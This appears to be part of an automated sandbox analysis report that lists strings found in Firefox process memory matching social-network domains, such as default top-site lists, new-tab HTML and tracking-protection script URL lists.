Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozilla-20&sourceid=Mozilla-search equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/device-migration.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-mobilecrosspromo.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-modal&utm_campaign=mr2022&utm_content=new-globalhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)Thank you for using Firefox, backed by the Mozilla Foundation. With your support, we're working to make the internet safer and more accessible for everyone. url('chrome://activity-stream/content/data/content/assets/mr-gratitude.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/device-migration.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-mobilecrosspromo.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-modal&utm_campaign=mr2022&utm_content=new-globalhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)Thank you for using Firefox, backed by the Mozilla Foundation. With your support, we're working to make the internet safer and more accessible for everyone. url('chrome://activity-stream/content/data/content/assets/mr-gratitude.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/device-migration.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-mobilecrosspromo.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-modal&utm_campaign=mr2022&utm_content=new-globalhttps://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/url('chrome://activity-stream/content/data/content/assets/mr-settodefault.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)url('chrome://activity-stream/content/data/content/assets/mr-import.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)Thank you for using Firefox, backed by the Mozilla Foundation. With your support, we're working to make the internet safer and more accessible for everyone. url('chrome://activity-stream/content/data/content/assets/mr-gratitude.svg') var(--mr-secondary-position) no-repeat var(--mr-screen-background-color)https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/DeferredTask@resource://gre/modules/DeferredTask.sys.mjs:117:18 equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/AND (visited OR NOT bookmarked) equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/AND (visited OR NOT bookmarked) equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - the user is unable to apply updates... prompting. Notifying observers. topic: update-available, status: cant-applyYou may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/AND (visited OR NOT bookmarked) equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: - the given reason to update is not supportedfindUpdates() - updateTask succeeded for onPrefEnabledChanged() - adding gmp directory startup - adding clearkey CDM failedfindUpdates() - found update for KEY_PLUGIN_LAST_DOWNLOAD_FAIL_REASON://web-assets.toggl.com/app/assets/scripts/.js://.imgur.com/js/vendor..bundle.js://libs.coremetrics.com/eluminate.js://connect.facebook.net//sdk.js://www.everestjs.net/static/st.v3.js://connect.facebook.net//all.js@mozilla.org/addons/addon-manager-startup;1resource://gre/modules/addons/XPIProvider.jsmFileUtils_closeSafeFileOutputStream@mozilla.org/network/file-output-stream;1@mozilla.org/network/atomic-file-output-stream;1FileUtils_closeAtomicFileOutputStreamresource://gre/modules/FileUtils.sys.mjswebcompat-reporter%40mozilla.org:1.5.1*://track.adform.net/serving/scripts/trackpoint/FileUtils_openAtomicFileOutputStreamconsumeTransientUserGestureActivation equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://id.rambler.ru/rambler-id-helper/auth_events.jslinear-gradient(90deg, #9059FF 0%, #FF4AA2 52.08%, #FFBD4F 100%)https://www.amazon.com/exec/obidos/external-search/://tpc.googlesyndication.com/safeframe//html/container.htmlresource://gre/modules/TelemetryController.sys.mjs://securepubads.g.doubleclick.net/tag/js/gpt.js://pagead2.googlesyndication.com/pagead/.jsfcd=true://www.gstatic.com/firebasejs//firebase-messaging.js://pagead2.googlesyndication.com/gpt/pubads_impl_.js*resource://gre/modules/TelemetryController.sys.mjs equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001D.00000003.3332867628.00000214ACD45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3356098124.00000214ACD6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: --panel-banner-item-update-supported-bgcolor://ads.stickyadstv.com/user-matching://track.adform.net/Serving/TrackPoint/://pubads.g.doubleclick.net/gampad/xml_vmap1*://www.facebook.com/platform/impression.phpQUERY_CONTENT_FLAG_SELECTION_URLSTRIKEOUT equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Wikipedia"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Reddit"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{"title":"Twitter"}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3407434312.00000214ABE1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @mozilla.org/network/safe-file-output-stream;1://cdn.branch.io/branch-latest.min.js://static.chartbeat.com/js/chartbeat_video.js://c.amazon-adsystem.com/aax2/apstag.jshttps://smartblock.firefox.etp/facebook.svg://.imgur.io/js/vendor..bundle.jshttps://smartblock.firefox.etp/play.svgpictureinpicture%40mozilla.org:1.0.0://pub.doubleverify.com/signals/pub.js*://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat.js://static.criteo.net/js/ld/publishertag.js://www.rva311.com/static/js/main..chunk.jswebcompat-reporter@mozilla.org.xpiFileUtils_openSafeFileOutputStream://cdn.adsafeprotected.com/iasPET.1.js://.moatads.com//moatheader.js://cdn.optimizely.com/public/.js://www.google-analytics.com/gtm/js://js.maxmind.com/js/apis/geoip2//geoip2.js://s.webtrends.com/js/advancedLinkTracking.js://s.webtrends.com/js/webtrends.min.jsget styleSheetChangeEventsEnabled equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEYyj8zLJVJc//j1xARfPx+oE/xqqM7O7tEZ9+XMWBeEQCqbJZRV8YS8VVq7GffqygmqryEGBhGRP5MX05XlfMO0cKletwojy/g/uWNoFAMYM3K/5640rSS53JHtjagJJEhttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://track.adform.net/Serving/TrackPoint/", "://pixel.advertising.com/firefox-etp", "://.advertising.com/.js", "://.advertising.com/", "://securepubads.g.doubleclick.net/gampad/ad-blk", "://pubads.g.doubleclick.net/gampad/ad-blk", "://securepubads.g.doubleclick.net/gampad/xml_vmap1", "://pubads.g.doubleclick.net/gampad/xml_vmap1", "://vast.adsafeprotected.com/vast", "://securepubads.g.doubleclick.net/gampad/xml_vmap2", "://pubads.g.doubleclick.net/gampad/xml_vmap2", "://securepubads.g.doubleclick.net/gampad/ad", "://pubads.g.doubleclick.net/gampad/ad", "://www.facebook.com/platform/impression.php", "https://ads.stickyadstv.com/firefox-etp", "://ads.stickyadstv.com/auto-user-sync", "://ads.stickyadstv.com/user-matching", "https://static.adsafeprotected.com/firefox-etp-pixel", "://.adsafeprotected.com/.gif", "://.adsafeprotected.com/.png", "://.adsafeprotected.com/.js", "://.adsafeprotected.com//adj", "://.adsafeprotected.com//imp/", "://.adsafeprotected.com//Serving/", "://.adsafeprotected.com//unit/", "://.adsafeprotected.com/jload", "://.adsafeprotected.com/jload?", "://.adsafeprotected.com/jsvid", "://.adsafeprotected.com/jsvid?", "://.adsafeprotected.com/mon", "://.adsafeprotected.com/tpl", "://.adsafeprotected.com/tpl?", "://.adsafeprotected.com/services/pub", "://.adsafeprotected.com/"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ["://webcompat-addon-testbed.herokuapp.com/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js", "://track.adform.net/serving/scripts/trackpoint/", "://track.adform.net/serving/scripts/trackpoint/async/", "://.adnxs.com//ast.js", "://.adnxs.com//pb.js", "://.adnxs.com//prebid", "://www.everestjs.net/static/st.v3.js", "://static.adsafeprotected.com/vans-adapter-google-ima.js", "://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "://cdn.branch.io/branch-latest.min.js", "://pub.doubleverify.com/signals/pub.js", "://c.amazon-adsystem.com/aax2/apstag.js", "://auth.9c9media.ca/auth/main.js", "://static.chartbeat.com/js/chartbeat.js", "://static.chartbeat.com/js/chartbeat_video.js", "://static.criteo.net/js/ld/publishertag.js", "://.imgur.com/js/vendor..bundle.js", "://.imgur.io/js/vendor..bundle.js", "://www.rva311.com/static/js/main..chunk.js", "://web-assets.toggl.com/app/assets/scripts/.js", "://libs.coremetrics.com/eluminate.js", "://connect.facebook.net//sdk.js", "://connect.facebook.net//all.js", "://secure.cdn.fastclick.net/js/cnvr-launcher//launcher-stub.min.js", "://www.google-analytics.com/analytics.js", "://www.google-analytics.com/gtm/js", "://www.googletagmanager.com/gtm.js", "://www.google-analytics.com/plugins/ua/ec.js", "://ssl.google-analytics.com/ga.js", "://s0.2mdn.net/instream/html5/ima3.js", "://imasdk.googleapis.com/js/sdkloader/ima3.js", "://www.googleadservices.com/pagead/conversion_async.js", "://www.googletagservices.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/tag/js/gpt.js", "://pagead2.googlesyndication.com/gpt/pubads_impl_.js", "://securepubads.g.doubleclick.net/tag/js/gpt.js", "://securepubads.g.doubleclick.net/gpt/pubads_impl_.js", "://script.ioam.de/iam.js", "://cdn.adsafeprotected.com/iasPET.1.js", "://static.adsafeprotected.com/iasPET.1.js", "://adservex.media.net/videoAds.js", "://.moatads.com//moatad.js", "://.moatads.com//moatapi.js", "://.moatads.com//moatheader.js", "://.moatads.com//yi.js", "://.imrworldwide.com/v60.js", "://cdn.optimizely.com/js/.js", "://cdn.optimizely.com/public/.js", "://id.rambler.ru/rambler-id-helper/auth_events.js", "://media.richrelevance.com/rrserver/js/1.2/p13n.js", "://www.gstatic.com/firebasejs//firebase-messaging.js", "://.vidible.tv//vidible-min.js", "://vdb-cdn-files.s3.amazonaws.com//vidible-min.js", "://js.maxmind.com/js/apis/geoip2//geoip2.js", "://s.webtrends.com/js/advancedLinkTracking.js", "://s.webtrends.com/js/webtrends.js", "://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
